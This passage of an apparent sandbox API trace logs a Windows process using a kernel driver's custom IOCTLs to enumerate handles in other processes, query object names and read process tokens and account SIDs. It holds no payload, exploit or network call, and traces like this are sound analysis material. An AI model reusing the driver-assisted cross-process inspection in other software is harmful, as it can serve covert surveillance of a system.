lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x9e, lpOverlapped=0x0) returned 1 [0095.241] PsLookupProcessByProcessId (in: ProcessId=0xb10, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0095.241] PsAcquireProcessExitSynchronization () returned 0x0 [0095.241] KeStackAttachProcess (in: PROCESS=0xfffffa80020fdb30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80020fdb30, ApcState=0xfffff880052335d0) [0095.241] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80020fd070, HandleInformation=0x0) returned 0x0 [0095.241] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0095.241] PsReleaseProcessExitSynchronization () returned 0x2 [0095.241] ObfDereferenceObject (Object=0xfffffa80020fdb30) returned 0x10 [0095.241] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fed044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8001fed044, ReturnLength=0xfffff88005233508) returned 0x0 [0095.241] ObfDereferenceObject (Object=0xfffffa80020fd070) returned 0x1 [0095.241] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0095.241] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.241] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.242] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0095.242] PsLookupProcessByProcessId (in: ProcessId=0xb10, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0095.242] PsAcquireProcessExitSynchronization () returned 0x0 [0095.242] KeStackAttachProcess (in: PROCESS=0xfffffa80020fdb30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80020fdb30, ApcState=0xfffff880052335d0) [0095.242] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0095.242] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0095.242] PsReleaseProcessExitSynchronization () returned 0x2 [0095.242] ObfDereferenceObject (Object=0xfffffa80020fdb30) returned 0x10 [0095.242] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8001ffa044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001ffa044, ReturnLength=0xfffff88005233550) returned 0x0 [0095.242] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x50 [0095.242] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0095.242] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.242] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xb20) returned 0xc0 [0095.242] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0095.242] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005233668, HandleInformation=0x0 | out: Object=0xfffff88005233668*=0xfffffa8002117b30, HandleInformation=0x0) returned 0x0 [0095.242] ObOpenObjectByPointer (in: Object=0xfffffa8002117b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005233670 | out: Handle=0xfffff88005233670*=0xffffffff80000bc0) returned 0x0 [0095.242] ObfDereferenceObject (Object=0xfffffa8002117b30) returned 0x12 [0095.242] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000bc0, DesiredAccess=0x8, TokenHandle=0xfffffa800365a600 | out: TokenHandle=0xfffffa800365a600*=0xc8) returned 0x0 [0095.242] ZwClose (Handle=0xffffffff80000bc0) returned 0x0 [0095.242] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0095.242] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0095.242] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0095.244] CloseHandle (hObject=0xc8) returned 1 [0095.244] CloseHandle (hObject=0xc0) returned 1 [0095.244] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.244] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0095.244] PsLookupProcessByProcessId (in: ProcessId=0xb20, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0095.244] PsAcquireProcessExitSynchronization () returned 0x0 [0095.244] KeStackAttachProcess (in: PROCESS=0xfffffa8002117b30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8002117b30, ApcState=0xfffff880052335d0) [0095.244] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800202a8e0, HandleInformation=0x0) returned 0x0 [0095.244] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0095.244] PsReleaseProcessExitSynchronization () returned 0x2 [0095.244] ObfDereferenceObject (Object=0xfffffa8002117b30) returned 0x10 [0095.244] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001ffb044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8001ffb044, ReturnLength=0xfffff88005233508) returned 0x0 [0095.244] ObfDereferenceObject (Object=0xfffffa800202a8e0) returned 0x1 [0095.244] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0095.244] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.244] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.244] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x76, lpOverlapped=0x0) returned 1 [0095.244] PsLookupProcessByProcessId (in: ProcessId=0xb20, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0095.244] PsAcquireProcessExitSynchronization () returned 0x0 [0095.244] KeStackAttachProcess (in: PROCESS=0xfffffa8002117b30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8002117b30, ApcState=0xfffff880052335d0) [0095.244] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002117190, HandleInformation=0x0) returned 0x0 [0095.244] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0095.244] PsReleaseProcessExitSynchronization () returned 0x2 [0095.244] ObfDereferenceObject (Object=0xfffffa8002117b30) returned 0x10 [0095.244] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002011044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8002011044, ReturnLength=0xfffff88005233508) returned 0x0 [0095.244] ObfDereferenceObject (Object=0xfffffa8002117190) returned 0x1 [0095.245] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0095.245] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.245] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.245] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0095.245] PsLookupProcessByProcessId (in: ProcessId=0xb20, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0095.245] PsAcquireProcessExitSynchronization () returned 0x0 [0095.245] KeStackAttachProcess (in: PROCESS=0xfffffa8002117b30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8002117b30, ApcState=0xfffff880052335d0) [0095.245] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0095.245] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0095.245] PsReleaseProcessExitSynchronization () returned 0x2 [0095.245] ObfDereferenceObject (Object=0xfffffa8002117b30) returned 0x10 [0095.245] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8002012044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8002012044, ReturnLength=0xfffff88005233550) returned 0x0 [0095.245] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x50 [0095.245] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0095.245] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.245] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xb30) returned 0xc0 [0095.245] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0095.245] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005233668, HandleInformation=0x0 | out: Object=0xfffff88005233668*=0xfffffa8002098890, HandleInformation=0x0) returned 0x0 [0095.245] ObOpenObjectByPointer (in: Object=0xfffffa8002098890, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005233670 | out: Handle=0xfffff88005233670*=0xffffffff80000bc0) returned 0x0 [0095.245] ObfDereferenceObject (Object=0xfffffa8002098890) returned 0x12 [0095.245] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000bc0, DesiredAccess=0x8, TokenHandle=0xfffffa800365a600 | out: TokenHandle=0xfffffa800365a600*=0xc8) returned 0x0 [0095.245] ZwClose (Handle=0xffffffff80000bc0) returned 0x0 [0095.245] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0095.245] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0095.245] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0095.247] CloseHandle (hObject=0xc8) returned 1 [0095.247] CloseHandle (hObject=0xc0) returned 1 [0095.247] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.247] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0095.247] PsLookupProcessByProcessId (in: ProcessId=0xb30, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0095.247] PsAcquireProcessExitSynchronization () returned 0x0 [0095.247] KeStackAttachProcess (in: PROCESS=0xfffffa8002098890, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8002098890, ApcState=0xfffff880052335d0) [0095.247] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80020b0a80, HandleInformation=0x0) returned 0x0 [0095.247] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0095.247] PsReleaseProcessExitSynchronization () returned 0x2 [0095.247] ObfDereferenceObject (Object=0xfffffa8002098890) returned 0x10 [0095.247] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002013044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8002013044, ReturnLength=0xfffff88005233508) returned 0x0 [0095.247] ObfDereferenceObject (Object=0xfffffa80020b0a80) returned 0x1 [0095.247] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0095.247] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.247] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.247] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x6a, lpOverlapped=0x0) returned 1 [0095.247] PsLookupProcessByProcessId (in: ProcessId=0xb30, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0095.248] PsAcquireProcessExitSynchronization () returned 0x0 [0095.248] KeStackAttachProcess (in: PROCESS=0xfffffa8002098890, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8002098890, ApcState=0xfffff880052335d0) [0095.248] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80020b0330, HandleInformation=0x0) returned 0x0 [0095.248] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0095.248] PsReleaseProcessExitSynchronization () returned 0x2 [0095.248] ObfDereferenceObject (Object=0xfffffa8002098890) returned 0x10 [0095.248] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80039997c4, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa80039997c4, ReturnLength=0xfffff88005233508) returned 0x0 [0095.248] ObfDereferenceObject (Object=0xfffffa80020b0330) returned 0x1 [0095.248] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0095.248] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.248] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.248] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0095.248] PsLookupProcessByProcessId (in: ProcessId=0xb30, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0095.248] PsAcquireProcessExitSynchronization () returned 0x0 [0095.248] KeStackAttachProcess (in: PROCESS=0xfffffa8002098890, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8002098890, ApcState=0xfffff880052335d0) [0095.248] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0095.248] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0095.248] PsReleaseProcessExitSynchronization () returned 0x2 [0095.248] ObfDereferenceObject (Object=0xfffffa8002098890) returned 0x10 [0095.248] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa800395d044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa800395d044, ReturnLength=0xfffff88005233550) returned 0x0 [0095.248] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x50 [0095.248] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0095.248] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.248] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xb40) returned 0xc0 [0095.248] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0095.248] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005233668, HandleInformation=0x0 | out: Object=0xfffff88005233668*=0xfffffa800212ab30, HandleInformation=0x0) returned 0x0 [0095.248] ObOpenObjectByPointer (in: Object=0xfffffa800212ab30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005233670 | out: Handle=0xfffff88005233670*=0xffffffff80000bc0) returned 0x0 [0095.248] ObfDereferenceObject (Object=0xfffffa800212ab30) returned 0x12 [0095.248] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000bc0, DesiredAccess=0x8, TokenHandle=0xfffffa800365a600 | out: TokenHandle=0xfffffa800365a600*=0xc8) returned 0x0 [0095.248] ZwClose (Handle=0xffffffff80000bc0) returned 0x0 [0095.248] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0095.249] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0095.249] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0095.250] CloseHandle (hObject=0xc8) returned 1 [0095.250] CloseHandle (hObject=0xc0) returned 1 [0095.250] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.250] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0095.250] PsLookupProcessByProcessId (in: ProcessId=0xb40, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0095.250] PsAcquireProcessExitSynchronization () returned 0x0 [0095.250] KeStackAttachProcess (in: PROCESS=0xfffffa800212ab30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800212ab30, ApcState=0xfffff880052335d0) [0095.250] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80020d6a20, HandleInformation=0x0) returned 0x0 [0095.250] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0095.250] PsReleaseProcessExitSynchronization () returned 0x2 [0095.250] ObfDereferenceObject (Object=0xfffffa800212ab30) returned 0x10 [0095.250] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80038dd7c4, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa80038dd7c4, ReturnLength=0xfffff88005233508) returned 0x0 [0095.250] ObfDereferenceObject (Object=0xfffffa80020d6a20) returned 0x1 [0095.250] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0095.250] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.250] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.250] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x68, lpOverlapped=0x0) returned 1 [0095.250] PsLookupProcessByProcessId (in: ProcessId=0xb40, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0095.251] PsAcquireProcessExitSynchronization () returned 0x0 [0095.251] KeStackAttachProcess (in: PROCESS=0xfffffa800212ab30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800212ab30, ApcState=0xfffff880052335d0) [0095.251] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80020e47d0, HandleInformation=0x0) returned 0x0 [0095.251] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0095.251] PsReleaseProcessExitSynchronization () returned 0x2 [0095.251] ObfDereferenceObject (Object=0xfffffa800212ab30) returned 0x10 [0095.251] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800390e204, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa800390e204, ReturnLength=0xfffff88005233508) returned 0x0 [0095.251] ObfDereferenceObject (Object=0xfffffa80020e47d0) returned 0x1 [0095.251] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0095.251] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.251] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.251] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0095.251] PsLookupProcessByProcessId (in: ProcessId=0xb40, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0095.251] PsAcquireProcessExitSynchronization () returned 0x0 [0095.251] KeStackAttachProcess (in: PROCESS=0xfffffa800212ab30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800212ab30, ApcState=0xfffff880052335d0) [0095.251] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0095.251] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0095.251] PsReleaseProcessExitSynchronization () returned 0x2 [0095.251] ObfDereferenceObject (Object=0xfffffa800212ab30) returned 0x10 [0095.251] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa80026027c4, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa80026027c4, ReturnLength=0xfffff88005233550) returned 0x0 [0095.251] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x50 [0095.251] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0095.251] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.251] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.251] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x74, lpOverlapped=0x0) returned 1 [0095.251] PsLookupProcessByProcessId (in: ProcessId=0xb40, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0095.251] PsAcquireProcessExitSynchronization () returned 0x0 [0095.251] KeStackAttachProcess (in: PROCESS=0xfffffa800212ab30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800212ab30, ApcState=0xfffff880052335d0) [0095.251] ObReferenceObjectByHandle (in: Handle=0x7c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002164d10, HandleInformation=0x0) returned 0x0 [0095.251] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0095.251] PsReleaseProcessExitSynchronization () returned 0x2 [0095.251] ObfDereferenceObject (Object=0xfffffa800212ab30) returned 0x10 [0095.252] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80038c97c4, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa80038c97c4, ReturnLength=0xfffff88005233508) returned 0x0 [0095.252] ObfDereferenceObject 